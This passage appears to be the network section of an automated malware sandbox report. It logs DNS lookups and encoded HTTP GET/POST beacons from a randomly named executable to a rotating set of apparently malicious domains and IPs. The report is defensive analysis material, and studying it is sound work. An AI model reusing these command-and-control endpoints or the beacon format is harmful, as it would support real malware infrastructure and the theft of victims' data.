Nov 22, 2024 14:46:44.510334969 CET	49736	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:44.630093098 CET	80	49736	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:46.132545948 CET	80	49736	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:46.133691072 CET	80	49736	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:46.133779049 CET	49736	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:46.136298895 CET	49736	80	192.168.2.8	154.23.184.218
Nov 22, 2024 14:46:46.258049965 CET	80	49736	154.23.184.218	192.168.2.8
Nov 22, 2024 14:46:51.622291088 CET	49737	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:51.741992950 CET	80	49737	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:51.742105961 CET	49737	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:51.763345957 CET	49737	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:51.883060932 CET	80	49737	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:53.207158089 CET	80	49737	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:53.207422972 CET	80	49737	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:53.207473040 CET	49737	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:53.267179012 CET	49737	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:54.337866068 CET	49738	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:54.457833052 CET	80	49738	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:54.458028078 CET	49738	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:54.531384945 CET	49738	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:54.651120901 CET	80	49738	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:55.800420046 CET	80	49738	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:55.800457001 CET	80	49738	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:55.800508022 CET	49738	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:56.032860994 CET	49738	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:57.140054941 CET	49739	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:57.259859085 CET	80	49739	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:57.259948015 CET	49739	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:57.324260950 CET	49739	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:57.444437027 CET	80	49739	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:57.444493055 CET	80	49739	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:58.697161913 CET	80	49739	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:58.697194099 CET	80	49739	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:58.697237015 CET	49739	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:58.830005884 CET	49739	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:59.849550009 CET	49740	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:46:59.969391108 CET	80	49740	31.31.196.17	192.168.2.8
Nov 22, 2024 14:46:59.969542980 CET	49740	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:47:00.031788111 CET	49740	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:47:00.151639938 CET	80	49740	31.31.196.17	192.168.2.8
Nov 22, 2024 14:47:01.304291010 CET	80	49740	31.31.196.17	192.168.2.8
Nov 22, 2024 14:47:01.304357052 CET	80	49740	31.31.196.17	192.168.2.8
Nov 22, 2024 14:47:01.304687977 CET	49740	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:47:01.308343887 CET	49740	80	192.168.2.8	31.31.196.17
Nov 22, 2024 14:47:01.428591967 CET	80	49740	31.31.196.17	192.168.2.8
Nov 22, 2024 14:47:07.122124910 CET	49741	80	192.168.2.8	64.190.63.222
Nov 22, 2024 14:47:07.241974115 CET	80	49741	64.190.63.222	192.168.2.8
Nov 22, 2024 14:47:07.242198944 CET	49741	80	192.168.2.8	64.190.63.222
Nov 22, 2024 14:47:07.265989065 CET	49741	80	192.168.2.8	64.190.63.222
Nov 22, 2024 14:47:07.385935068 CET	80	49741	64.190.63.222	192.168.2.8
Nov 22, 2024 14:47:08.567526102 CET	80	49741	64.190.63.222	192.168.2.8
Nov 22, 2024 14:47:08.567559958 CET	80	49741	64.190.63.222	192.168.2.8
Nov 22, 2024 14:47:08.567712069 CET	49741	80	192.168.2.8	64.190.63.222
Nov 22, 2024 14:47:08.783128977 CET	49741	80	192.168.2.8	64.190.63.222
Nov 22, 2024 14:47:10.303333044 CET	49742	80	192.168.2.8	64.190.63.222
Nov 22, 2024 14:47:10.423293114 CET	80	49742	64.190.63.222	192.168.2.8
Nov 22, 2024 14:47:10.423525095 CET	49742	80	192.168.2.8	64.190.63.222
Nov 22, 2024 14:47:10.438092947 CET	49742	80	192.168.2.8	64.190.63.222
Nov 22, 2024 14:47:10.557813883 CET	80	49742	64.190.63.222	192.168.2.8
Nov 22, 2024 14:47:11.826364040 CET	80	49742	64.190.63.222	192.168.2.8
Nov 22, 2024 14:47:11.826395988 CET	80	49742	64.190.63.222	192.168.2.8
Nov 22, 2024 14:47:11.826466084 CET	49742	80	192.168.2.8	64.190.63.222

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 14:44:47.325644016 CET	52946	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:44:48.163919926 CET	53	52946	1.1.1.1	192.168.2.8
Nov 22, 2024 14:45:04.924666882 CET	64995	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:45:05.734055996 CET	53	64995	1.1.1.1	192.168.2.8
Nov 22, 2024 14:45:20.069087982 CET	49916	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:45:20.638358116 CET	53	49916	1.1.1.1	192.168.2.8
Nov 22, 2024 14:45:35.100126982 CET	50388	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:45:35.605865002 CET	53	50388	1.1.1.1	192.168.2.8
Nov 22, 2024 14:45:49.819225073 CET	61311	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:45:50.522162914 CET	53	61311	1.1.1.1	192.168.2.8
Nov 22, 2024 14:46:04.927434921 CET	52684	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:46:05.502995014 CET	53	52684	1.1.1.1	192.168.2.8
Nov 22, 2024 14:46:19.911709070 CET	63629	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:46:20.907830954 CET	63629	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:46:21.085772991 CET	53	63629	1.1.1.1	192.168.2.8
Nov 22, 2024 14:46:21.085828066 CET	53	63629	1.1.1.1	192.168.2.8
Nov 22, 2024 14:46:35.476583004 CET	50908	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:46:36.395114899 CET	53	50908	1.1.1.1	192.168.2.8
Nov 22, 2024 14:46:51.145904064 CET	64074	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:46:51.616297960 CET	53	64074	1.1.1.1	192.168.2.8
Nov 22, 2024 14:47:06.391652107 CET	51907	53	192.168.2.8	1.1.1.1
Nov 22, 2024 14:47:07.115411043 CET	53	51907	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 22, 2024 14:44:47.325644016 CET	192.168.2.8	1.1.1.1	0xf093	Standard query (0)	www.huiguang.xyz	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:04.924666882 CET	192.168.2.8	1.1.1.1	0x6b59	Standard query (0)	www.beingandbecoming.ltd	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:20.069087982 CET	192.168.2.8	1.1.1.1	0xb05e	Standard query (0)	www.futurevision.life	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:35.100126982 CET	192.168.2.8	1.1.1.1	0xdca5	Standard query (0)	www.schedulemassage.xyz	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:49.819225073 CET	192.168.2.8	1.1.1.1	0x9ede	Standard query (0)	www.mcfunding.org	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:04.927434921 CET	192.168.2.8	1.1.1.1	0x4222	Standard query (0)	www.migorengya8.click	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:19.911709070 CET	192.168.2.8	1.1.1.1	0x922f	Standard query (0)	www.klohk.tech	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:20.907830954 CET	192.168.2.8	1.1.1.1	0x922f	Standard query (0)	www.klohk.tech	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:35.476583004 CET	192.168.2.8	1.1.1.1	0x3309	Standard query (0)	www.d63dm.top	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:51.145904064 CET	192.168.2.8	1.1.1.1	0x7ce7	Standard query (0)	www.servannto.site	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:47:06.391652107 CET	192.168.2.8	1.1.1.1	0x8f86	Standard query (0)	www.telforce.one	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2024 14:44:48.163919926 CET	1.1.1.1	192.168.2.8	0xf093	No error (0)	www.huiguang.xyz		154.216.76.80	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:05.734055996 CET	1.1.1.1	192.168.2.8	0x6b59	No error (0)	www.beingandbecoming.ltd	beingandbecoming.ltd		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:45:05.734055996 CET	1.1.1.1	192.168.2.8	0x6b59	No error (0)	beingandbecoming.ltd		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:05.734055996 CET	1.1.1.1	192.168.2.8	0x6b59	No error (0)	beingandbecoming.ltd		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:20.638358116 CET	1.1.1.1	192.168.2.8	0xb05e	No error (0)	www.futurevision.life		203.161.49.193	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:35.605865002 CET	1.1.1.1	192.168.2.8	0xdca5	No error (0)	www.schedulemassage.xyz	schedulemassage.xyz		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:45:35.605865002 CET	1.1.1.1	192.168.2.8	0xdca5	No error (0)	schedulemassage.xyz		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:35.605865002 CET	1.1.1.1	192.168.2.8	0xdca5	No error (0)	schedulemassage.xyz		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:50.522162914 CET	1.1.1.1	192.168.2.8	0x9ede	No error (0)	www.mcfunding.org	mcfunding.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:45:50.522162914 CET	1.1.1.1	192.168.2.8	0x9ede	No error (0)	mcfunding.org		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:50.522162914 CET	1.1.1.1	192.168.2.8	0x9ede	No error (0)	mcfunding.org		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:05.502995014 CET	1.1.1.1	192.168.2.8	0x4222	No error (0)	www.migorengya8.click	migorengya8.click		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:46:05.502995014 CET	1.1.1.1	192.168.2.8	0x4222	No error (0)	migorengya8.click		198.252.98.54	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:21.085772991 CET	1.1.1.1	192.168.2.8	0x922f	No error (0)	www.klohk.tech		103.224.182.242	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:21.085828066 CET	1.1.1.1	192.168.2.8	0x922f	No error (0)	www.klohk.tech		103.224.182.242	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:36.395114899 CET	1.1.1.1	192.168.2.8	0x3309	No error (0)	www.d63dm.top	d63dm.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:46:36.395114899 CET	1.1.1.1	192.168.2.8	0x3309	No error (0)	d63dm.top		154.23.184.218	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:46:51.616297960 CET	1.1.1.1	192.168.2.8	0x7ce7	No error (0)	www.servannto.site		31.31.196.17	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:47:07.115411043 CET	1.1.1.1	192.168.2.8	0x8f86	No error (0)	www.telforce.one		64.190.63.222	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.huiguang.xyz

www.beingandbecoming.ltd

www.futurevision.life

www.schedulemassage.xyz

www.mcfunding.org

www.migorengya8.click

www.klohk.tech

www.d63dm.top

www.servannto.site

www.telforce.one

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	154.216.76.80	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:44:48.298755884 CET	553	OUT	GET /hv6g/?NjHpTfh=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGP8KkEC54eipAN6+u9bqO0oPPtGBbKuyofNdvdufJOx9cYQ==&1fo=GF14svyhH44dt HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.huiguang.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 22, 2024 14:44:49.867388964 CET	827	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 22 Nov 2024 13:44:49 GMT Content-Type: text/html Content-Length: 601 Last-Modified: Thu, 21 Nov 2024 04:22:01 GMT Connection: close ETag: "673eb569-259" Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e6 ad a3 e5 9c a8 e5 ae 89 e5 85 a8 e8 bf 9b e5 85 a5 2e 2e 2e 2e 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 63 66 39 35 66 61 33 39 66 34 61 37 32 63 65 36 62 38 35 62 62 66 62 65 39 65 61 64 62 39 35 61 22 3b 0a 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 20 0a 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 [TRUNCATED] Data Ascii: <!doctype html><html><head> <title>.......</title> <meta charset="utf-8"><script>var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?cf95fa39f4a72ce6b85bbfbe9eadb95a"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();</script></head><body><script> window.onload = function() { setTimeout(function() { window.location.href = 'https://34.92.79.175:19817'; }, 1000); // 1 }; </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:05.868563890 CET	831	OUT	POST /79tr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.beingandbecoming.ltd Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.beingandbecoming.ltd Referer: http://www.beingandbecoming.ltd/79tr/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 69 44 51 55 32 4b 54 52 48 6b 51 49 38 74 32 63 56 55 6e 67 47 33 6d 37 43 62 68 33 39 57 50 49 52 36 32 77 2f 55 6d 4b 62 45 69 66 76 6f 5a 79 59 4b 38 48 38 56 68 6f 79 69 64 59 31 63 49 68 64 4c 41 6c 75 57 30 54 69 38 6e 55 65 58 70 51 59 62 39 4e 38 78 39 63 4b 43 4a 74 4b 59 44 50 42 6b 32 63 4d 37 79 68 34 65 55 52 36 2b 71 37 74 32 42 52 4a 48 63 50 4c 63 2f 36 73 38 34 71 6c 41 34 77 4f 6d 73 67 30 43 4a 79 51 4f 4d 63 6e 38 55 52 4d 69 52 56 4d 4f 41 44 4b 30 5a 67 57 6f 7a 6c 61 4b 53 74 6c 59 6e 34 2b 68 78 36 30 64 79 6a 49 37 52 43 6b 71 33 4d 55 67 51 6e 6a 48 33 43 42 44 73 3d Data Ascii: NjHpTfh=iDQU2KTRHkQI8t2cVUngG3m7Cbh39WPIR62w/UmKbEifvoZyYK8H8VhoyidY1cIhdLAluW0Ti8nUeXpQYb9N8x9cKCJtKYDPBk2cM7yh4eUR6+q7t2BRJHcPLc/6s84qlA4wOmsg0CJyQOMcn8URMiRVMOADK0ZgWozlaKStlYn4+hx60dyjI7RCkq3MUgQnjH3CBDs=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:08.530750990 CET	851	OUT	POST /79tr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.beingandbecoming.ltd Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cache-Control: no-cache Origin: http://www.beingandbecoming.ltd Referer: http://www.beingandbecoming.ltd/79tr/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 69 44 51 55 32 4b 54 52 48 6b 51 49 39 4e 47 63 58 33 66 67 48 58 6d 34 66 72 68 33 30 32 50 4d 52 36 79 77 2f 56 6a 53 62 53 36 66 76 4a 70 79 57 72 38 48 79 31 68 6f 35 43 64 64 34 38 49 75 64 4c 46 59 75 55 77 54 69 38 44 55 65 57 5a 51 62 73 70 4b 7a 42 39 4a 43 69 4a 76 56 49 44 50 42 6b 32 63 4d 37 33 32 34 65 4d 52 37 4f 36 37 69 31 5a 4f 56 58 63 49 66 4d 2f 36 6f 38 34 75 6c 41 34 43 4f 6e 41 4b 30 48 4e 79 51 4b 41 63 2b 49 49 65 57 79 52 54 49 4f 42 4e 47 6d 6f 4f 55 50 6a 44 53 61 57 33 75 75 71 42 2f 58 41 51 75 2f 36 6c 4c 37 35 70 6b 70 66 36 52 58 4e 50 35 6b 6e 79 66 55 37 46 6e 62 33 54 4f 6d 71 47 4a 68 2b 6a 55 34 48 45 7a 75 43 30 Data Ascii: NjHpTfh=iDQU2KTRHkQI9NGcX3fgHXm4frh302PMR6yw/VjSbS6fvJpyWr8Hy1ho5Cdd48IudLFYuUwTi8DUeWZQbspKzB9JCiJvVIDPBk2cM7324eMR7O67i1ZOVXcIfM/6o84ulA4COnAK0HNyQKAc+IIeWyRTIOBNGmoOUPjDSaW3uuqB/XAQu/6lL75pkpf6RXNP5knyfU7Fnb3TOmqGJh+jU4HEzuC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:11.188309908 CET	1868	OUT	POST /79tr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.beingandbecoming.ltd Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.beingandbecoming.ltd Referer: http://www.beingandbecoming.ltd/79tr/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 69 44 51 55 32 4b 54 52 48 6b 51 49 39 4e 47 63 58 33 66 67 48 58 6d 34 66 72 68 33 30 32 50 4d 52 36 79 77 2f 56 6a 53 62 53 43 66 75 2b 42 79 5a 73 41 48 7a 31 68 6f 36 43 64 63 34 38 49 4a 64 4c 39 63 75 55 73 44 69 2b 4c 55 66 30 52 51 50 4a 46 4b 6b 52 39 4a 4f 43 4a 75 4b 59 43 4e 42 6b 6d 69 4d 37 6e 32 34 65 4d 52 37 4d 53 37 72 47 42 4f 47 6e 63 50 4c 63 2f 32 73 38 35 35 6c 44 4a 33 4f 6e 30 77 30 7a 35 79 51 71 51 63 38 64 55 65 4f 69 52 52 45 75 41 51 47 6d 6b 4e 55 4c 44 6c 53 5a 4b 4a 75 70 6d 42 7a 68 42 7a 71 39 32 76 5a 61 6c 59 67 72 33 45 56 6d 42 41 7a 6a 4c 63 66 44 72 77 70 38 66 72 4f 58 57 63 4a 43 2f 54 50 66 2f 4f 31 4c 6e 4d 65 31 36 78 68 32 70 4c 47 74 77 72 61 59 63 56 34 6e 59 73 4b 6b 6f 53 70 33 45 44 6d 43 6c 4b 57 6f 62 55 38 61 41 66 4a 35 6b 77 33 6e 30 5a 38 34 75 61 48 4c 6f 34 48 43 6c 6d 32 73 74 41 37 69 75 79 2b 6b 30 59 4f 48 51 6a 43 43 69 67 74 49 57 48 58 51 58 69 37 4a 71 39 34 50 56 52 4e 66 73 37 73 33 36 78 70 43 73 46 43 4f [TRUNCATED] Data Ascii: NjHpTfh=iDQU2KTRHkQI9NGcX3fgHXm4frh302PMR6yw/VjSbSCfu+ByZsAHz1ho6Cdc48IJdL9cuUsDi+LUf0RQPJFKkR9JOCJuKYCNBkmiM7n24eMR7MS7rGBOGncPLc/2s855lDJ3On0w0z5yQqQc8dUeOiRREuAQGmkNULDlSZKJupmBzhBzq92vZalYgr3EVmBAzjLcfDrwp8frOXWcJC/TPf/O1LnMe16xh2pLGtwraYcV4nYsKkoSp3EDmClKWobU8aAfJ5kw3n0Z84uaHLo4HClm2stA7iuy+k0YOHQjCCigtIWHXQXi7Jq94PVRNfs7s36xpCsFCOCOrMiUqTRSXKoaUc/oShZlyzvUf/8GVqaHF64bs6K9cqK+1FyiwCG47qoCLfLLDP6W/A4hQPR0tpRXEiT92kDHaOTZ1E2tIzdBbDN2R47K3Crav5wH1IML3UBjnsWIkGpf2lObVS466XHSn6lWj65K1564QMhrR9QeoUMU2gG3dOQ5SIWWCvmri83kWHBWFIHyywL0VoVWM+oOjbBaytyxmert2TlZ1sS8Mph9Zx4I9BcYJTl6Ze6a1UdIT1dsETfqR2+kW/XKOjHJnqt2lUyWREygLJkBcLiGG4vG+5GwukJRzMIu43fRJpIe6LhCydYHX1QdKnP1vslZIU/B3pEkm3v+CPL4b/niJuC/SpwA2rZFeAdduGMz7uqMDPnUHiyxoHb3m6o/zjPDRC26qhacEW2NIG9I2clU3SL4vUZnT1gOt+YoimtsoxmZV5tD/vZMeL0IlbvKHHlSuDUk0rnMgR2jGLCsGJBXUPwQ5flcOJFwjvdlvai0e0EBOjMW+O2AWhePui7/dZPv/KtBQMAmgnGtiklJuDtc6ydv8lzROYAwTAeXq0Oa+3txCfxkIF0ZZl2wzZwTHUCdqCY7WCbtVdWoEW/p2nhQYtmwDFjF8KwSF50B3RXMEVIz9Mln90p6BtgeYrskX/lTuKKC8rb4q1ifiGZJ0Loo [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49712	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:13.862771034 CET	561	OUT	GET /79tr/?NjHpTfh=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZP8CAmIyANUKvAf3+5N6bOzfwLz/Gtq1ZNC0AtH/TFhPdx4Q==&1fo=GF14svyhH44dt HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.beingandbecoming.ltd Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 22, 2024 14:45:15.054389954 CET	413	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 22 Nov 2024 13:45:14 GMT Content-Type: text/html Content-Length: 273 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 4e 6a 48 70 54 66 68 3d 76 42 34 30 31 36 72 77 66 48 30 4d 78 74 61 77 4c 33 7a 47 59 47 61 58 59 73 49 68 38 69 50 6e 65 38 75 68 2b 6d 6e 6f 48 52 65 57 6c 6f 4e 6d 4d 37 64 70 34 46 67 72 36 77 74 4b 37 50 74 63 57 74 4e 76 73 45 30 43 70 74 33 74 51 57 74 56 51 72 5a 50 38 43 41 6d 49 79 41 4e 55 4b 76 41 66 33 2b 35 4e 36 62 4f 7a 66 77 4c 7a 2f 47 74 71 31 5a 4e 43 30 41 74 48 2f 54 46 68 50 64 78 34 51 3d 3d 26 31 66 6f 3d 47 46 31 34 73 76 79 68 48 34 34 64 74 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?NjHpTfh=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZP8CAmIyANUKvAf3+5N6bOzfwLz/Gtq1ZNC0AtH/TFhPdx4Q==&1fo=GF14svyhH44dt"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49713	203.161.49.193	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
